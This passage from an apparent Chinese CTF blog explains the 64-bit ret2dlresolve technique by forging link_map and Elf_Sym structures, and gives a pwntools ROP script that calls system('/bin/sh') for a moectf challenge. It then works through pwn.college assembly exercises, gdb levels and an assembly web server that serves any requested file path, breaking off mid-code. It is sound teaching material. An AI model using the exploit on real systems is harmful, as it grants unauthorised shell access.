 /* We are done with the global scope. */
 if (!RTLD_SINGLE_THREAD_P)
 THREAD_GSCOPE_RESET_FLAG ();

 RTLD_FINALIZE_FOREIGN_CALL;

 /* Currently result contains the base load address (or link map)
 of the object that defines sym. Now add in the symbol
 offset. */
 // 同样，如果正常执行，接下来会来到这里，得到value的值，为libc基址加上要解析函数的偏移地址，也即实际地址，即result+st_value
 value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
 }
 else
 {
 // 这里就是64位下利用的关键，在最上面的if不成立后，就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址，所以就得控制两个参数，l_addr 和 st_value
 /* We already found the symbol. The module (and therefore its load
 address) is also known. */
 value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
 result = l;
 }

 /* And now perhaps the relocation addend. */
 value = elf_machine_plt_value (l, reloc, value);

 if (sym != NULL
 && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
 value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

 /* Finally, fix up the plt itself. */
 if (__glibc_unlikely (GLRO(dl_bind_not)))
 return value;
 // 最后把value写入相应的GOT表条目中
 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

来自www.cnblogs.com/xshhc/p/17335007.html

总结来说，要绕过这一次_dl_fixup的检测，我们需要

让Elf64_Sym中的st_other=0
控制l->l_addr=system_libc-a_libc; sym->st_value=a_got a为已经解析过的一个函数

上面两个实现以后，就可以有

l->l_addr+sym->st_value=system_libc-a_libc+a_got=system_libc_real

因此需要伪造Elf_Sym以及link_map
在64位中的link_map发生了较大的变化，不过我们只需要知道这一次的.dynsym .dynstr以及.rel.plt是从l->l_info[]中取出的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


//0x68 strtab
//0x70 symtab
//0xf8 relplt
struct link_map {
 Elf64_Addr l_addr;
 char *l_name;
 Elf64_Dyn *l_ld;
 struct link_map *l_next;
 struct link_map *l_prev;
 struct link_map *l_real;
 Lmid_t l_ns;
 struct libname_list *l_libname;
 Elf64_Dyn *l_info[76];
...
}

对应的偏移也发生了改变

.dynstr 指针：位于 .dynamic +0x88 (32位下是0x44)

.dynsym 指针：位于 .dynamic + 0x98 (32位下是0x4c)

.rel.plt 指针：位于 .dynamic +0x108 (32位下是0x84)

以moectf2025 no_way_to_leak为例

然后我们来查看一下l_info和.dynamic段这些指针的关系

DT_STRTAB指针：位于 link_map_addr +0x68(32位下是0x34)

DT_SYMTAB指针：位于 link_map_addr + 0x70(32位下是0x38)

DT_JMPREL指针：位于 link_map_addr +0xF8(32位下是0x7C)

然后通过取出这些指针的值然后+0x8就可以拿到dynamic段的对应地址了

我们需要修改 link_map 中的 l_addr 为 system_libc - a_libc 的值， l_info 中的 DT_STRTAB指针、DT_SYMTAB指针、DT_JMPREL指针来伪造 .dynstr 、 .dynsym、.rel.plt 段。并且在 fake_Elf_Sym 结构体中的 st_value 为一个已经解析过的（ a ）函数的 got 表地址。

只需要修改 fake_Elf_Sym 为 a 函数的 got 表地址 - 0x8，那么顺带着 sym -> st_other != 0 的条件也会满足。由于 link_map 结构体比较大，因此我们也将 fake_Elf_Sym 结构体和 “/bin/sh\x00” 也写进去

‍

直接使用pwntools的工具

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


rop = ROP(elf)
rop.raw(rop.ret.address)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()

payload = flat({
 120: raw_rop,
 256: dlresolve.payload
})
sl(payload)
io.interactive()

可能的问题

在_dl_fixup函数中报错了？

如果你使用了栈迁移，那么可以检查栈和dlresolve的payload是否离bss起始地址太近。

在_dl_runtime_resolve函数中，程序会对栈进行多次抬高和降低操作，因此需要将这些数据尽量放到更远的地方。

还有，确定好你的Elf32_Sym结构体是正常十六字节对齐的，并且偏移正确

NO RELRO的情况下需要修改DYNAMIC段的指针，而IDA中该指针位于IDA看不到的地方，怎么办？

你是否已经patch了libc ？如果是，请用一个没有patch的附件进行查看。

若没有，那么请参照如下方式：

使用pwntools来查看dynstr表的地址：

1

print(hex(elf.get_section_by_name('.dynstr').header.sh_addr))

然后在gdb中使用search -8来搜索该地址，如上一步中若得到值0x3fd450，则在gdb中搜索如下：

1

search -8 0x3fd450

或者在pwntools中查找dynamic地址：

1

print(hex(elf.get_section_by_name('.dynamic').header.sh_addr))

并使用gdb在这一段来查找上一步中找到的dynstr地址。

参考链接

Computing101 collections

Wed, 01 Oct 2025 20:06:00 +0000

computing 101

hello hackers

writing output

1
2
3
4
5


mov rdi,1
mov rsi,1337000
mov rdx,1
mov rax,1
syscall

chaining syscalls

同时设置两个系统调用，要做的就是分成两部分去设置就行

1
2
3
4
5
6
7
8
9


mov rdi,1
mov rsi,1337000
mov rdx,1
mov rax,1
syscall

mov rdi,42
mov rax,60
syscall

‍

assemble crash course

调试：由于环境中是用python进行的模拟，因此无法gdb调试，但如果我们在汇编中加入int 3，那么模拟器会打印出现在的寄存器和内存情况

重复多的我直接写汇编，或者直接跳过了(

4 linear-equatation-registers

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
imul rdi,rsi
add rdi,rdx
mov rax,rdi
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

5 interger-division

寄存器进行整除操作

x86除法指令的特殊性

div 指令用于128位被除数 ÷ 64位除数：

被除数：rdx:rax（128位，高64位在rdx，低64位在rax）
除数：指定的寄存器
结果：
- rax = 商（quotient）
- rdx = 余数（remainder）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
mov rax,rdi
xor rdx,rdx ;由于高64bit存储了rdx,防止出错
div rsi
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

6 modulo-operation

将mod的余数放入rax，前面除法的时候高64bit放了rdx, 低64bit放了rax

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
mov rax,rdi
xor rdx,rdx
div rsi
mov rax,rdx
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

7 set upper byte

x86的寄存器结构图，x86的好处在于通过名字我们可以轻松控制寄存器中不同长度的数字从64bit到32bit到16bit再到8bit

mov ah,0x42

8 efficient modulo

x % y，如果y为$2^n$那么我们就可以得到x=n

要求

rax = rdi % 256
rbx = rsi % 65536

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
mov al,dil
mov bx,si
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

9 byte-extraction

对二进制进行操作，我们需要用到and or xor not等逻辑操作

shl和shr，shift once to the left和shift once to the right

shl reg1,reg2(reg2可以替换成地址）

1
2


rdi = | B7 | B6 | B5 | B4 | B3 | B2 | B1 | B0 |
Set rax to the value of B4

‍

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20




from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
mov rax,rdi
shr rax,32
shl rax,56
shr rax,56
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

10 bitwise and

‍

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
and rdi,rsi
xor rax,rax
add rax,rdi
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

11 check even

1
2
3
4


if x is even then
 y = 1
else
 y = 0

可以用xor 1来进行反转判断

1
2
3
4


xor rax,rax
or rax,rdi ;rax=rdi
and rax,1 ; 1的话->0，后面反转奇数判断
xor rax,1

12 memory read-14 memory increment

mov rax,[0x404000]

mov [0x404000],rax

关于解析指针所在位置字节

byte ptr - 8位
word ptr - 16位
dword ptr - 32位
qword ptr - 64位

我们在移动数据到指定寄存器或地址的时候要注意不会清除高位字节

mov al, [0x404000]

15 memory size access

1
2
3
4


mov al,[0x404000]
mov bx,[0x404000]
mov ecx,[0x404000]
mov rdx,[0x404000]

16 little-endian-write

注意，不能直接将大常数移动到内存地址，但可以通过寄存器间接传递

1
2
3
4
5


mov rax,0xdeadbeef00001337
mov [rdi],rax
mov rax,0xc0ffee0000
mov [rsi],rax
int3

17 memory-sum

通过将地址or寄存器指向地址+offset可以解析到不同的值，这题需要两个qword

而64位寄存器本身存储就是qword, 因此直接用偏移

1
2
3
4


mov rcx,[rdi]
mov rdx,[rdi+8]
add rdx,rcx
mov [rsi],rdx

18 stack-subtraction

1
2
3


pop rdx
sub rdx,rdi
push rdx

19 swap-stack-value

1
2
3
4
5
6


push rdi
pop rdx
push rsi
pop rdi
push rdx
pop rsi

20 average-stack-values

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


mov rax,[rsp]
mov rbx,[rsp+8]
mov rcx,[rsp+16]
mov rdx,[rsp+24]

add rax,rbx
add rax,rcx
add rax,rdx
shr rax,2
push rax

‍

21 absolute jump

There are two major ways to manipulate control flow:

Through a jump
Through a call
相对跳转：jmp +0x10 或 jmp -0x5（相对于当前指令）
绝对跳转：通过寄存器间接跳转，如 jmp rax
间接跳转：jmp [rax]（跳转到 rax 指向的内存地址中的值）

1
2


mov rax,0x403000
jmp rax

‍

22 relative jump

使用nop进行填充

并使用段落进行repeat

GNU assembler archive

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
jmp target
.rept 0x51
nop
.endr
target:
mov rax,0x1
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

23 jump-trampoline

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
jmp target
.rept 0x51
nop
.endr
target:
pop rdi
mov rax,0x403000
jmp rax
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

24 conditional-jump

利用jne和je指令(jmp if not equal; 和jmp if euqal)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
cmp dword ptr [edi],0x7f454c46
jne check_second

mov eax,[edi+4]
add eax,[edi+8]
add eax,[edi+12]
jmp end

check_second:
cmp dword ptr [edi],0x00005A4D
jne done

mov eax,[edi+4]
sub eax,[edi+8]
sub eax,[edi+12]
jmp end

done:
mov eax,[edi+4]
imul eax,[edi+8]
imul eax,[edi+12]

end:
nop
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

end分支来防止执行多余指令

25 indirect jump

题目会给出随机测试数据，根据测试数据来进行对应跳转（case）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
cmp rdi,3
ja default
jmp [rsi+rdi*8]
default:
jmp [rsi+32]
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

26 average-loop

用rcx作为计数器，rsi作为除数，div的时候为了防止出现rdx干扰要置0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
xor rax,rax
mov rcx,rsi
test rcx,rcx
jz done

sum_loop:
add rax,[rdi]
add rdi,8
dec rcx
jnz sum_loop

mov rdx,0
div rsi

done:
nop
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

27 count no-zero

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
.intel_syntax noprefix
mov rax,0
mov rsi,0
test rdi,rdi
jz .done

.loop:
 cmp byte ptr[rdi],0
 je .done
 add rax,1
 add rdi,1
 jmp .loop
.done:
nop
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

28 string-lower

1
2
3


0x1021 mov rax, 0x400000
0x1028 call rax
0x102a mov [rsi], rax

call pushes 0x102a, the address of the next instruction, onto the stack.
call jumps to 0x400000, the value stored in rax.

‍

ret pops the top value off of the stack and jumps to it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
str_lower:
 mov rbx,0x403000
 xor rcx,rcx
 test rdi,rdi
 jz done
string_read:
 mov al,byte ptr [rdi]
 test al,al
 jz done ;如果是NULL直接结束
 cmp al,0x5A ;大于'Z'不是大写字母
 ja next_char
 mov rsi,rdi ;保存字符串地址到rsi,稍后恢复
 mov dil,al ;rsi和dil作为foo的参数
 call rbx
 mov rdi,rsi
 mov byte ptr [rdi],al ;转换后的字节放入[rdi]
 inc rcx
next_char:
 inc rdi ;src_addr存储在rdi，[rdi]为字节的值
 jmp string_read
done:
 mov rax,rcx
 ret
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

29 most-common-byte

最终挑战

rbp确认函数的栈基地址

我们要完成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


most_common_byte(src_addr, size):
 i = 0
 while i <= size-1:
 curr_byte = [src_addr + i]
 [stack_base - curr_byte * 2] += 1
 i += 1

 b = 0
 max_freq = 0
 max_freq_byte = 0
 while b <= 0xff:
 if [stack_base - b * 2] > max_freq:
 max_freq = [stack_base - b * 2]
 max_freq_byte = b
 b += 1

 return max_freq_byte

限制：

counting_list放在栈上
You must restore the stack like in a normal function
不能修改放在src_addr的数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
most_common_byte:
 push rbp
 mov rbp,rsp
 sub rsp,0x100 ;开拓栈空间
 xor rcx,rcx ;rcx作为个数计数器置0
initial:
 mov byte ptr [rbp-256+rcx],0 ;将rcx作为索引进行存储
 inc rcx ;byte ptr rcx移动到下一位
 cmp rcx,0x100 ;是否移动到输入字符尾部
 jl initial ;如果没有则继续输入
 xor rcx,rcx ;重新置0计数器
count_bytes:
 movzx rax,byte ptr [rdi+rcx] ;将输入的字符放入rax
 inc byte ptr [rbp-256+rax] ;新增该字符的计数
 inc rcx
 cmp rcx,rsi ;rsi为字符串长度
 jl count_bytes
initial_maxfreq_and_byte:
 xor rcx,rcx ;索引同时最低位为字节
 xor rdx,rdx ;频率
 xor rbx,rbx ;存储字节
find_most_common_byte:
 movzx rax,byte ptr [rbp-256+rcx]
 cmp al,dl
 jle next_byte
new_max:
 mov dl,al ;更新最大频率
 mov bl,cl ;更新字节
next_byte:
 inc rcx
 cmp rcx,0x100
 jl find_most_common_byte
return:
 mov al,bl ;返回结果，最终结果写入al
restore:
 mov rsp,rbp
 pop rbp
 ret ;恢复前一个栈帧
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

gdb

level 4

程序在main+626处进行比较

而我们

在这之前取出的$rbp-0x18是比较的值，我们打好断点在输入前然后取出进行输入即可

随机值存储：[rbp-0x18]
用户输入存储：[rbp-0x10]
循环计数器：[rbp-0x1c]（0-3）

‍

level5

shit题

我们可能要用到这些文档

我们把challenge文件dump下来，IDA分析

根据题目的提示，我们需要将断点下载合适的地方，并设置需要的值后继续操作

‍

level8

如果+12的地方执行了的话，那么rax=0, 从而之后会触发segment fault

因此需要跳过

1
2
3
4


r
x/40i win
set $rip=win+35
c

‍

webserver

使用方法

‍

exit

我们运行的时候会给出提示

可以根据要求创建可执行文件，也可以直接使用pwntools

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


from pwn import *
import os

context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
 mov rdi, 0
 mov rax, 60
 syscall
""")

print(VIO_TEXT("生成的机器码:"))
print(code)

# 创建可执行文件
elf = make_elf(code)

# 保存为server文件
with open('server', 'wb') as f:
 f.write(elf)

# 给执行权限
os.chmod('server', 0o755) #0o=八进制

p = process(['/challenge/run', './server'])
p.interactive()

socket

简单理解的话socket就是一个为了让用户可以与内核层进行交互的中间层，将套接字sock得以迁入文件系统，用户在空间中使用文件句柄socket_fd来操作内核sock，实现网络传输功能

其结构为socket(AF_INET, SOCK_STREAM, 0)

我们要在/usr/include下找到对应文件中常量的值

1
2
3
4
5


# 查找 AF_INET 的值
grep -r "AF_INET" /usr/include/ | grep "#define" # 2

# 查找 socket 系统调用号
grep -r "__NR_socket" /usr/include/

typeSOCK_STREAM定义为TCP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


from pwn import *
import os

context(arch='amd64', os='linux')

# 创建socket的汇编代码
assembly = """
 /* socket(AF_INET, SOCK_STREAM, 0) */
 mov rdi, 2 /* AF_INET = 2 */
 mov rsi, 1 /* SOCK_STREAM = 1 */
 mov rdx, 0 /* protocol = 0 */
 mov rax, 41 /* SYS_socket = 41 */
 syscall

 /* exit(0) */
 mov rdi, 0
 mov rax, 60
 syscall
"""

# 编译并创建可执行文件
shellcode = asm(assembly)
elf = make_elf(shellcode)

with open('server', 'wb') as f:
 f.write(elf)

os.chmod('server', 0o755)

print("Socket服务器已创建，运行挑战...")
p = process(['/challenge/run', './server'])
p.interactive()

bind

创建好socket层之后，下一步通过bind 系统调用去将socket绑定到特定的IP地址和端口，我们需要提供

1
2
3
4
5
6
7
8
9


/* Get the definition of the macro to define the common sockaddr members. */
#include <bits/sockaddr.h>

/* Structure describing a generic socket address. */
struct __attribute_struct_may_alias__ sockaddr
 {
 __SOCKADDR_COMMON (sa_); /* Common data: address family and length. */
 char sa_data[14]; /* Address data. */
 };

初始代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58


from pwn import *
import os

context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 8080=0x1f90,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x901f
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind function */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16
 mov rax,49
 syscall


 /*exit*/
 mov rdi,0
 mov rax,60
 syscall
""")

print(VIO_TEXT("生成的机器码:"))
print(code)

# 创建可执行文件
elf = make_elf(code)

# 保存为server文件
with open('server', 'wb') as f:
 f.write(elf)

# 给执行权限
os.chmod('server', 0o755)

p = process(['/challenge/run', './server'])
p.interactive()

发现绑定的端口出现了错误

修改

mov word ptr [rsp+2],0x901f为mov word ptr [rsp+2],0x5000即可（网络字节序为大端）

‍

Listen

1

int listen(int sockfd, int backlog);

sockfd为socket文件句柄，backlog为等待连接队列的最大长度

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


code = asm("""
 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /*backlog=0*/
 mov rax,50
 syscall

 /*exit*/
 mov rdi,0
 mov rax,60
 syscall
""")

其他部分不变，添加listen

accept

1
2


 int accept(int sockfd, struct sockaddr *_Nullable restrict addr,
 socklen_t *_Nullable restrict addrlen);

grep -r "__NR_accept" /usr/include/-43

添加

1
2
3
4
5
6
7


 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall

‍

static response

本来尝试加入了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall

 mov r13,rax /*socket fd from client*/

 /* ready for http response */
 sub rsp,32

 /* read for bytes to write */
 mov qword ptr [rsp],0x0a0d0a0d4b4f2030
 mov qword ptr [rsp+8],0x312e302f50545448
 mov byte ptr [rsp+16],0

 /* send http */
 mov rdi,r13 /* client fd */
 mov rsi,rsp /* pointer to buf*/
 mov rdx,17
 mov rax,1
 syscall

结果发现解析失败了？？

不允许mov qword ptr 8字节数据的用法

于是修改，注意还要加入read(fd,buffer,len)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


 /* read */
 sub rsp, 0x100
 mov rdi, r13
 mov rsi, rsp
 mov rdx, 0x100
 xor rax, rax
 syscall

 /* bytes to write */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
 mov dword ptr [rsp+8], 0x30303220
 mov dword ptr [rsp+12], 0x0d4b4f20
 mov word ptr [rsp+16], 0x0d0a
 mov byte ptr [rsp+18], 0x0a

 /* send http */
 mov rdi,r13 /* client fd */
 mov rsi,rsp /* pointer to buf*/
 mov rdx,19
 mov rax,1
 syscall

 /*close*/
 mov rdi,r13
 mov rax,3
 syscall

dynamic response

会稍微复杂一些

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139


from pwn import *
import os

context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16 /*addrlen*/
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /* backlog=0*/
 mov rax,50
 syscall

 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall

 mov r13,rax /*socket fd from client*/

 /* read buffer */
 sub rsp, 0x100
 mov rdi, r13
 mov rsi, rsp
 mov rdx, 0x100
 xor rax, rax
 syscall

 /* open file and read*/
 lea rbx,[rsp+4]
 find_space:
 cmp byte ptr [rbx],0x20
 je found_space
 inc rbx
 jmp find_space
 found_space:
 mov byte ptr [rbx],0
 lea rdi,[rsp+4]
 xor rsi,rsi
 mov rax,2
 syscall
 mov r8,rax

 sub rsp,0x200
 mov rbx,rsp

 mov rdi,r8
 mov rsi,rbx
 mov rdx,0x200
 xor rax,rax
 syscall
 mov r15,rax /*save the length*/

 /*close file*/
 mov rdi,r8
 mov rax,3
 syscall

 /* bytes to write's head of http */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
 mov dword ptr [rsp+8], 0x30303220
 mov dword ptr [rsp+12], 0x0d4b4f20
 mov word ptr [rsp+16], 0x0d0a
 mov byte ptr [rsp+18], 0x0a

 /* send http */
 mov rdi,r13 /* client fd */
 mov rsi,rsp /* pointer to buf*/
 mov rdx,19
 mov rax,1
 syscall

 /* write file's content to client*/
 mov rdi,r13
 mov rsi,rbx /*上面mov rsi,rbx将内容留存在了rbx当时的地址中*/
 mov rdx,r15
 mov rax,1
 syscall

 /*close client */
 mov rdi,r13
 mov rax,3
 syscall

 /* exit */
 mov rdi,0
 mov rax,60
 syscall
""")

print(VIO_TEXT("生成的机器码:"))
print(code)

# 创建可执行文件
elf = make_elf(code)

# 保存为server文件
with open('server', 'wb') as f:
 f.write(elf)

# 给执行权限
os.chmod('server', 0o755)

p = process(['/challenge/run', './server'])
p.interactive()

‍

可迭代的(Iterative)GET Server

添加循环处理GET逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114


 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16 /*addrlen*/
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /* backlog=0*/
 mov rax,50
 syscall

.server_loop:
 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall

 mov r13,rax /*socket fd from client*/

 /* read buffer */
 sub rsp, 0x100
 mov rdi, r13
 mov rsi, rsp
 mov rdx, 0x100
 xor rax, rax
 syscall

 /* open file and read*/
 lea rbx,[rsp+4]
 find_space:
 cmp byte ptr [rbx],0x20
 je found_space
 inc rbx
 jmp find_space
 found_space:
 mov byte ptr [rbx],0
 lea rdi,[rsp+4]
 xor rsi,rsi
 mov rax,2
 syscall
 mov r8,rax

 sub rsp,0x200
 mov rbx,rsp

 mov rdi,r8
 mov rsi,rbx
 mov rdx,0x200
 xor rax,rax
 syscall
 mov r15,rax /*save the length*/

 /*close file*/
 mov rdi,r8
 mov rax,3
 syscall

 /* bytes to write's head of http */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
